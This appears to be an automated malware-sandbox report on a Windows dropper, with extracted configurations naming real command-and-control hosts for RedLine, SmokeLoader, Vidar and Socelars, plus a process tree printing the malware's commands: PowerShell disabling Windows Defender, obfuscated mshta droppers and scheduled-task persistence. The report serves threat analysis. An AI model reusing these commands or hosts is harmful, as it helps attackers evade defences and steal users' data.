Resubmissions
10-11-2021 14:50
211110-r7nbvaeddr 1008-11-2021 16:12
211108-tnmmbahgaj 1008-11-2021 15:26
211108-svdsbaccf6 1008-11-2021 14:48
211108-r6lfvshdfn 10Analysis
-
max time kernel
45s -
max time network
1809s -
platform
windows10_x64 -
resource
win10-de-20211104 -
submitted
08-11-2021 16:12
General
-
Target
f2196668f412d730bc6bd24f08b749ed411d3450f9b4af846fc759e249f72acb.exe
Score
10/10
Malware Config
Extracted
Family
socelars
C2
http://www.iyiqian.com/
http://www.hbgents.top/
http://www.rsnzhy.com/
http://www.efxety.top/
Extracted
Family
redline
Botnet
media29
C2
91.121.67.60:23325
Extracted
Family
redline
Botnet
chris
C2
194.104.136.5:46013
Extracted
Family
redline
Botnet
srtupdate33
C2
135.181.129.119:4805
Extracted
Family
smokeloader
Version
2020
C2
http://brandyjaggers.com/upload/
http://andbal.com/upload/
http://alotofquotes.com/upload/
http://szpnc.cn/upload/
http://uggeboots.com/upload/
http://100klv.com/upload/
http://rapmusic.at/upload/
rc4.i32
rc4.i32
Extracted
Family
vidar
Version
41.6
Botnet
933
C2
https://mas.to/@lilocc
Attributes
-
profile_id
933
Signatures
-
Djvu Ransomware
Ransomware which is a variant of the STOP family.
-
Modifies Windows Defender Real-time Protection settings 3 TTPs
-
Process spawned unexpected child process 7 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 6 IoCs
-
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Socelars
Socelars is an infostealer targeting browser cookies and credit card credentials.
-
Socelars Payload 2 IoCs
-
Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs
-
Tofsee
Backdoor/botnet which carries out malicious activities based on commands from a C2 server.
-
Vidar
Vidar is an infostealer based on Arkei stealer.
-
suricata: ET MALWARE DNS Query Sinkhole Domain Various Families (Possible Infected Host)
suricata: ET MALWARE DNS Query Sinkhole Domain Various Families (Possible Infected Host)
-
suricata: ET MALWARE FormBook CnC Checkin (GET)
suricata: ET MALWARE FormBook CnC Checkin (GET)
-
suricata: ET MALWARE FormBook CnC Checkin (POST) M2
suricata: ET MALWARE FormBook CnC Checkin (POST) M2
-
suricata: ET MALWARE GCleaner Downloader Activity M5
suricata: ET MALWARE GCleaner Downloader Activity M5
-
suricata: ET MALWARE Known Sinkhole Response Header
suricata: ET MALWARE Known Sinkhole Response Header
-
suricata: ET MALWARE Potential Dridex.Maldoc Minimal Executable Request
suricata: ET MALWARE Potential Dridex.Maldoc Minimal Executable Request
-
suricata: ET MALWARE Sharik/Smoke CnC Beacon 11
suricata: ET MALWARE Sharik/Smoke CnC Beacon 11
-
suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload
suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload
-
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin
-
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin M2
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin M2
-
suricata: ET MALWARE Win32/Vidar Variant Stealer CnC Exfil
suricata: ET MALWARE Win32/Vidar Variant Stealer CnC Exfil
-
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
-
Vidar Stealer 2 IoCs
-
ASPack v2.12-2.42 7 IoCs
Detects executables packed with ASPack v2.12-2.42
-
Creates new service(s) 1 TTPs
-
Downloads MZ/PE file
-
Executes dropped EXE 48 IoCs
-
Modifies Windows Firewall 1 TTPs
-
Sets file to hidden 1 TTPs
Modifies file attributes to stop it showing in Explorer etc.
-
Checks BIOS information in registry 2 TTPs 4 IoCs
BIOS information is often read in order to detect sandboxing environments.
-
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
-
Loads dropped DLL 9 IoCs
-
Modifies file permissions 1 TTPs 1 IoCs
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 1 IoCs
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Checks whether UAC is enabled 1 TTPs 2 IoCs
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 25 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
-
Looks up geolocation information via web service
Uses a legitimate geolocation service to find the infected system's geolocation info.
-
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
-
Suspicious use of SetThreadContext 4 IoCs
-
Drops file in Program Files directory 4 IoCs
-
Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 17 IoCs
-
Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
-
Creates scheduled task(s) 1 TTPs 6 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Delays execution with timeout.exe 7 IoCs
-
Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
-
Kills process with taskkill 20 IoCs
-
Modifies registry class 8 IoCs
-
Modifies system certificate store 2 TTPs 8 IoCs
-
Runs ping.exe 1 TTPs 5 IoCs
-
Script User-Agent 1 IoCs
Uses user-agent string associated with script host/environment.
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
-
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
-
Suspicious behavior: MapViewOfSection 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 64 IoCs
-
Suspicious use of WriteProcessMemory 64 IoCs
-
Views/modifies file attributes 1 TTPs 1 IoCs
Processes
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s gpsvc1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s BITS1⤵
- Suspicious use of SetThreadContext
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k SystemNetworkService2⤵
- Modifies registry class
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Browser1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s LanmanServer1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s IKEEXT1⤵
-
C:\Users\Admin\AppData\Local\Temp\f2196668f412d730bc6bd24f08b749ed411d3450f9b4af846fc759e249f72acb.exe"C:\Users\Admin\AppData\Local\Temp\f2196668f412d730bc6bd24f08b749ed411d3450f9b4af846fc759e249f72acb.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS874802B5\setup_install.exe"C:\Users\Admin\AppData\Local\Temp\7zS874802B5\setup_install.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable5⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"5⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Fri04e6f3b78ae5759.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS874802B5\Fri04e6f3b78ae5759.exeFri04e6f3b78ae5759.exe5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\7zS874802B5\Fri04e6f3b78ae5759.exeC:\Users\Admin\AppData\Local\Temp\7zS874802B5\Fri04e6f3b78ae5759.exe6⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Fri0471ced4d802994.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS874802B5\Fri0471ced4d802994.exeFri0471ced4d802994.exe5⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-R59SS.tmp\Fri0471ced4d802994.tmp"C:\Users\Admin\AppData\Local\Temp\is-R59SS.tmp\Fri0471ced4d802994.tmp" /SL5="$101F6,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS874802B5\Fri0471ced4d802994.exe"6⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\7zS874802B5\Fri0471ced4d802994.exe"C:\Users\Admin\AppData\Local\Temp\7zS874802B5\Fri0471ced4d802994.exe" /SILENT7⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-FRDCB.tmp\Fri0471ced4d802994.tmp"C:\Users\Admin\AppData\Local\Temp\is-FRDCB.tmp\Fri0471ced4d802994.tmp" /SL5="$20212,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS874802B5\Fri0471ced4d802994.exe" /SILENT8⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Fri043b65bf09aa6129a.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS874802B5\Fri043b65bf09aa6129a.exeFri043b65bf09aa6129a.exe5⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbsCrIPT: cLOsE ( CREatEObjecT ( "wscript.shell" ). ruN ( "cMD.eXe /q/c coPY /y ""C:\Users\Admin\AppData\Local\Temp\7zS874802B5\Fri043b65bf09aa6129a.exe"" ..\FJX5FJQXmPBM.exE && STart ..\FJX5FjQXmPBM.eXE -POMRtdzPDR3vhvdcwHXlRw6vXu6 & If """" == """" for %m iN ( ""C:\Users\Admin\AppData\Local\Temp\7zS874802B5\Fri043b65bf09aa6129a.exe"" ) do taskkill /F /iM ""%~nXm"" " , 0 , tRUE ) )6⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /q/c coPY /y "C:\Users\Admin\AppData\Local\Temp\7zS874802B5\Fri043b65bf09aa6129a.exe" ..\FJX5FJQXmPBM.exE && STart ..\FJX5FjQXmPBM.eXE -POMRtdzPDR3vhvdcwHXlRw6vXu6 & If "" == "" for %m iN ( "C:\Users\Admin\AppData\Local\Temp\7zS874802B5\Fri043b65bf09aa6129a.exe") do taskkill /F /iM "%~nXm"7⤵
-
C:\Users\Admin\AppData\Local\Temp\FJX5FJQXmPBM.exE..\FJX5FjQXmPBM.eXE -POMRtdzPDR3vhvdcwHXlRw6vXu68⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbsCrIPT: cLOsE ( CREatEObjecT ( "wscript.shell" ). ruN ( "cMD.eXe /q/c coPY /y ""C:\Users\Admin\AppData\Local\Temp\FJX5FJQXmPBM.exE"" ..\FJX5FJQXmPBM.exE && STart ..\FJX5FjQXmPBM.eXE -POMRtdzPDR3vhvdcwHXlRw6vXu6 & If ""-POMRtdzPDR3vhvdcwHXlRw6vXu6 "" == """" for %m iN ( ""C:\Users\Admin\AppData\Local\Temp\FJX5FJQXmPBM.exE"" ) do taskkill /F /iM ""%~nXm"" " , 0 , tRUE ) )9⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /q/c coPY /y "C:\Users\Admin\AppData\Local\Temp\FJX5FJQXmPBM.exE" ..\FJX5FJQXmPBM.exE && STart ..\FJX5FjQXmPBM.eXE -POMRtdzPDR3vhvdcwHXlRw6vXu6 & If "-POMRtdzPDR3vhvdcwHXlRw6vXu6 " == "" for %m iN ( "C:\Users\Admin\AppData\Local\Temp\FJX5FJQXmPBM.exE") do taskkill /F /iM "%~nXm"10⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCRipt: CLOSE ( CreateobjeCT ( "WScRipT.shELL" ). RUn ( "cmd /r EcHO | set /P = ""MZ"" > LBBCBWE.COE & Copy /Y /b LBbCBWe.COE + PdpGW72.5yO +mNJeI.lLp + GL6hqC.zFb ..\JPBHeH05.Q & StART msiexec -y ..\JPBHeH05.Q & DeL /q * " , 0 , TRue ) )9⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /r EcHO | set /P = "MZ" > LBBCBWE.COE & Copy /Y /b LBbCBWe.COE + PdpGW72.5yO +mNJeI.lLp +GL6hqC.zFb ..\JPBHeH05.Q & StART msiexec -y ..\JPBHeH05.Q& DeL /q *10⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" EcHO "11⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" set /P = "MZ" 1>LBBCBWE.COE"11⤵
-
C:\Windows\SysWOW64\msiexec.exemsiexec -y ..\JPBHeH05.Q11⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /iM "Fri043b65bf09aa6129a.exe"8⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Fri047a1b6fc980f8.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS874802B5\Fri047a1b6fc980f8.exeFri047a1b6fc980f8.exe5⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Fri043a70f76ef98.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS874802B5\Fri043a70f76ef98.exeFri043a70f76ef98.exe5⤵
- Executes dropped EXE
- Checks computer location settings
-
C:\Users\Admin\Pictures\Adobe Films\5SRDN00z2DtZvVAOwfC5mwGR.exe"C:\Users\Admin\Pictures\Adobe Films\5SRDN00z2DtZvVAOwfC5mwGR.exe"6⤵
- Executes dropped EXE
-
C:\Users\Admin\Pictures\Adobe Films\aIgzFbDH_1sk67A0C1MFnpkC.exe"C:\Users\Admin\Pictures\Adobe Films\aIgzFbDH_1sk67A0C1MFnpkC.exe"6⤵
-
C:\Users\Admin\Pictures\Adobe Films\U6nDnS_ELR1KFnXMEKRkqK6u.exe"C:\Users\Admin\Pictures\Adobe Films\U6nDnS_ELR1KFnXMEKRkqK6u.exe"6⤵
-
C:\Users\Admin\Documents\MxxGRcvGqmm4BSCVVjvFftgg.exe"C:\Users\Admin\Documents\MxxGRcvGqmm4BSCVVjvFftgg.exe"7⤵
-
C:\Users\Admin\Pictures\Adobe Films\4zlIZNJBuHTFyIT72AHjTy_3.exe"C:\Users\Admin\Pictures\Adobe Films\4zlIZNJBuHTFyIT72AHjTy_3.exe"8⤵
-
C:\Users\Admin\Pictures\Adobe Films\qwh36MKVIyoYUn8FOxkvW2Ea.exe"C:\Users\Admin\Pictures\Adobe Films\qwh36MKVIyoYUn8FOxkvW2Ea.exe"8⤵
-
C:\Users\Admin\Pictures\Adobe Films\gaYR3d1zpMgYaDeRzQ2btGSg.exe"C:\Users\Admin\Pictures\Adobe Films\gaYR3d1zpMgYaDeRzQ2btGSg.exe"8⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe9⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe10⤵
- Kills process with taskkill
-
C:\Users\Admin\Pictures\Adobe Films\ra49h76AyKtTKLTZT8imhfPY.exe"C:\Users\Admin\Pictures\Adobe Films\ra49h76AyKtTKLTZT8imhfPY.exe"8⤵
-
C:\Users\Admin\Pictures\Adobe Films\f4Bx3U_NI8jw1H4svWQcswCP.exe"C:\Users\Admin\Pictures\Adobe Films\f4Bx3U_NI8jw1H4svWQcswCP.exe"8⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ). Run ( "cmd /R cOpY /Y ""C:\Users\Admin\Pictures\Adobe Films\f4Bx3U_NI8jw1H4svWQcswCP.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If """" == """" for %M in ( ""C:\Users\Admin\Pictures\Adobe Films\f4Bx3U_NI8jw1H4svWQcswCP.exe"" ) do taskkill -f -iM ""%~NxM"" " , 0 , truE ) )9⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\Pictures\Adobe Films\f4Bx3U_NI8jw1H4svWQcswCP.exe" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If "" == "" for %M in ( "C:\Users\Admin\Pictures\Adobe Films\f4Bx3U_NI8jw1H4svWQcswCP.exe" ) do taskkill -f -iM "%~NxM"10⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -iM "f4Bx3U_NI8jw1H4svWQcswCP.exe"11⤵
- Kills process with taskkill
-
C:\Users\Admin\Pictures\Adobe Films\MEh8VaZB1HIHOX93xC0PpXuP.exe"C:\Users\Admin\Pictures\Adobe Films\MEh8VaZB1HIHOX93xC0PpXuP.exe"8⤵
-
C:\Users\Admin\Pictures\Adobe Films\k_jQ6TF2tW3rWyACRzX8py1X.exe"C:\Users\Admin\Pictures\Adobe Films\k_jQ6TF2tW3rWyACRzX8py1X.exe"8⤵
-
C:\Users\Admin\Pictures\Adobe Films\k_jQ6TF2tW3rWyACRzX8py1X.exe"C:\Users\Admin\Pictures\Adobe Films\k_jQ6TF2tW3rWyACRzX8py1X.exe" -u9⤵
-
C:\Users\Admin\Pictures\Adobe Films\h698oqiztJUwMX6fqioS5C82.exe"C:\Users\Admin\Pictures\Adobe Films\h698oqiztJUwMX6fqioS5C82.exe"8⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\setup.exeC:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=19⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--bo6y9QQgnM"10⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exeC:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x1cc,0x1d0,0x1d4,0x1a8,0x1d8,0x7ffea288dec0,0x7ffea288ded0,0x7ffea288dee011⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1628,3968539122542842097,1732113110482519063,131072 --lang=de --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6244_480734844" --mojo-platform-channel-handle=1644 /prefetch:811⤵
-
C:\Users\Admin\Pictures\Adobe Films\14fC4Q18j0XeGc2yUBz6XzPl.exe"C:\Users\Admin\Pictures\Adobe Films\14fC4Q18j0XeGc2yUBz6XzPl.exe"8⤵
-
C:\Users\Admin\AppData\Local\Temp\is-O6UB6.tmp\14fC4Q18j0XeGc2yUBz6XzPl.tmp"C:\Users\Admin\AppData\Local\Temp\is-O6UB6.tmp\14fC4Q18j0XeGc2yUBz6XzPl.tmp" /SL5="$E0030,506127,422400,C:\Users\Admin\Pictures\Adobe Films\14fC4Q18j0XeGc2yUBz6XzPl.exe"9⤵
-
C:\Users\Admin\AppData\Local\Temp\is-8ERND.tmp\DYbALA.exe"C:\Users\Admin\AppData\Local\Temp\is-8ERND.tmp\DYbALA.exe" /S /UID=270910⤵
-
C:\Users\Admin\AppData\Local\Temp\fb-1f1c1-c8f-9fd80-da4209d4a913e\Baecujushoda.exe"C:\Users\Admin\AppData\Local\Temp\fb-1f1c1-c8f-9fd80-da4209d4a913e\Baecujushoda.exe"11⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ieldk02r.103\GcleanerEU.exe /eufive & exit12⤵
-
C:\Users\Admin\AppData\Local\Temp\ieldk02r.103\GcleanerEU.exeC:\Users\Admin\AppData\Local\Temp\ieldk02r.103\GcleanerEU.exe /eufive13⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\bc0voyhl.zsc\installer.exe /qn CAMPAIGN="654" & exit12⤵
-
C:\Users\Admin\AppData\Local\Temp\bc0voyhl.zsc\installer.exeC:\Users\Admin\AppData\Local\Temp\bc0voyhl.zsc\installer.exe /qn CAMPAIGN="654"13⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\0c5r3njk.asb\any.exe & exit12⤵
-
C:\Users\Admin\AppData\Local\Temp\0c5r3njk.asb\any.exeC:\Users\Admin\AppData\Local\Temp\0c5r3njk.asb\any.exe13⤵
-
C:\Users\Admin\AppData\Local\Temp\0c5r3njk.asb\any.exe"C:\Users\Admin\AppData\Local\Temp\0c5r3njk.asb\any.exe" -u14⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\vnotwvc2.yqt\gcleaner.exe /mixfive & exit12⤵
-
C:\Users\Admin\AppData\Local\Temp\vnotwvc2.yqt\gcleaner.exeC:\Users\Admin\AppData\Local\Temp\vnotwvc2.yqt\gcleaner.exe /mixfive13⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\exufaebe.pjb\autosubplayer.exe /S & exit12⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST7⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST7⤵
- Creates scheduled task(s)
-
C:\Users\Admin\Pictures\Adobe Films\SoNDmbO6pUD_NnZJotjj5GRa.exe"C:\Users\Admin\Pictures\Adobe Films\SoNDmbO6pUD_NnZJotjj5GRa.exe"6⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im SoNDmbO6pUD_NnZJotjj5GRa.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Pictures\Adobe Films\SoNDmbO6pUD_NnZJotjj5GRa.exe" & del C:\ProgramData\*.dll & exit7⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im SoNDmbO6pUD_NnZJotjj5GRa.exe /f8⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\timeout.exetimeout /t 68⤵
- Delays execution with timeout.exe
-
C:\Users\Admin\Pictures\Adobe Films\dN0DDIcKLsUeKTSdKRjv5Z2P.exe"C:\Users\Admin\Pictures\Adobe Films\dN0DDIcKLsUeKTSdKRjv5Z2P.exe"6⤵
-
C:\Users\Admin\Pictures\Adobe Films\_sJyuNlQaaEt6t2ksTKDQhou.exe"C:\Users\Admin\Pictures\Adobe Films\_sJyuNlQaaEt6t2ksTKDQhou.exe"6⤵
-
C:\Users\Admin\Pictures\Adobe Films\QRM0Kg4bL6PcA734hyuw_3ro.exe"C:\Users\Admin\Pictures\Adobe Films\QRM0Kg4bL6PcA734hyuw_3ro.exe"6⤵
-
C:\Users\Admin\Pictures\Adobe Films\QRM0Kg4bL6PcA734hyuw_3ro.exe"C:\Users\Admin\Pictures\Adobe Films\QRM0Kg4bL6PcA734hyuw_3ro.exe"7⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Fri0470d89df3bb718.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS874802B5\Fri0470d89df3bb718.exeFri0470d89df3bb718.exe5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"6⤵
-
C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe"C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe"7⤵
-
C:\Users\Admin\AppData\Roaming\2844608.exe"C:\Users\Admin\AppData\Roaming\2844608.exe"8⤵
-
C:\Users\Admin\AppData\Roaming\2003872.exe"C:\Users\Admin\AppData\Roaming\2003872.exe"8⤵
-
C:\Users\Admin\AppData\Roaming\3385764.exe"C:\Users\Admin\AppData\Roaming\3385764.exe"8⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbscRIpt: cLosE ( CreateOBjEct ( "WsCrIpT.shelL" ). Run ( "cMD /q /c cOPy /Y ""C:\Users\Admin\AppData\Roaming\3385764.exe"" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i & IF """" == """" for %Z iN ( ""C:\Users\Admin\AppData\Roaming\3385764.exe"" ) do taskkill -f -Im ""%~NXZ"" ", 0, TRUE ) )9⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /q /c cOPy /Y "C:\Users\Admin\AppData\Roaming\3385764.exe" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i &IF "" == "" for %Z iN ( "C:\Users\Admin\AppData\Roaming\3385764.exe" ) do taskkill -f -Im "%~NXZ"10⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -Im "3385764.exe"11⤵
- Kills process with taskkill
-
C:\Users\Admin\AppData\Roaming\8552893.exe"C:\Users\Admin\AppData\Roaming\8552893.exe"8⤵
-
C:\Users\Admin\AppData\Roaming\2572104.exe"C:\Users\Admin\AppData\Roaming\2572104.exe"8⤵
-
C:\Users\Admin\AppData\Local\Temp\inst1.exe"C:\Users\Admin\AppData\Local\Temp\inst1.exe"7⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\Soft1WW02.exe"C:\Users\Admin\AppData\Local\Temp\Soft1WW02.exe"7⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\4.exe"C:\Users\Admin\AppData\Local\Temp\4.exe"7⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 3848 -s 15528⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\5.exe"C:\Users\Admin\AppData\Local\Temp\5.exe"7⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"7⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ). Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If """" == """" for %M in ( ""C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"" ) do taskkill -f -iM ""%~NxM"" " , 0 , truE ) )8⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If "" == "" for %M in ( "C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe" ) do taskkill -f -iM "%~NxM"9⤵
-
C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi10⤵
-
